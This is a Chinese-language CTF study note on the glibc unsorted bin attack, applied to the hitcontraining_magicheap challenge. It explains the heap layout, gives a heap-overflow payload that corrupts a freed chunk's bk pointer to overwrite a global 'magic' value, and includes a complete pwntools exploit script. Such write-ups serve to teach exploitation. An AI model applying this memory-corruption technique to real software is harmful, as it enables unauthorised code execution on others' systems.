0%

unsorted bin attack学习笔记

[TOC]

前置知识

Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。

Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。

Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

例题

hitcontraining_magicheap

代码审计

main

image-20240708114125665

exit_heap

image-20240708113615058

read_input

image-20240708113219495

思路

​ 先申请三个chunk,然后freechunk1chunk2的作用是防止free chunk1后,chunk0top chunk合并。fast bin中的chunk大小的范围在 0x20~0x80 之间,所以我们我们在申请第二个chunk的时候其大小要大于0x80,才能使free chunk1chunk1unsorted bin中。

add(0x30,b'aaaa')
add(0x80,b'bbbb')
add(0x10,b'cccc')
delete(1)

如图:

image-20240708111057915

​ 堆溢出,写入0x602090magic的地址是0x6020a0,由于需要0x10个字节来存放prve sizesize,所以我们写入的是0x602090

payload = b'a'*0x30+p64(0)+p64(0x91)+p64(0)+p64(0x602090)
edit(0,0x50,payload)

如图:

image-20240708111250104

然后再malloc一个与chunk1同样大小的chunk,unsorted_bin chunk0bk地址便被写到magic中。

add(0x80,b'aaaa')

如图:

image-20240708111356583

exp

from tools import *
p = process('./a')
# p = remote("node5.buuoj.cn",27610)
debug(p,0x400d0b,0x400d17,0x400d23)

def add(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,size,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap : ",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))

magic = 0x6020a0
add(0x30,b'aaaa')
add(0x80,b'bbbb')
add(0x10,b'cccc')
delete(1)
payload = b'a'*0x30+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,0x50,payload)
add(0x80,b'aaaa')
p.sendlineafter("Your choice :",str(4869))

p.interactive()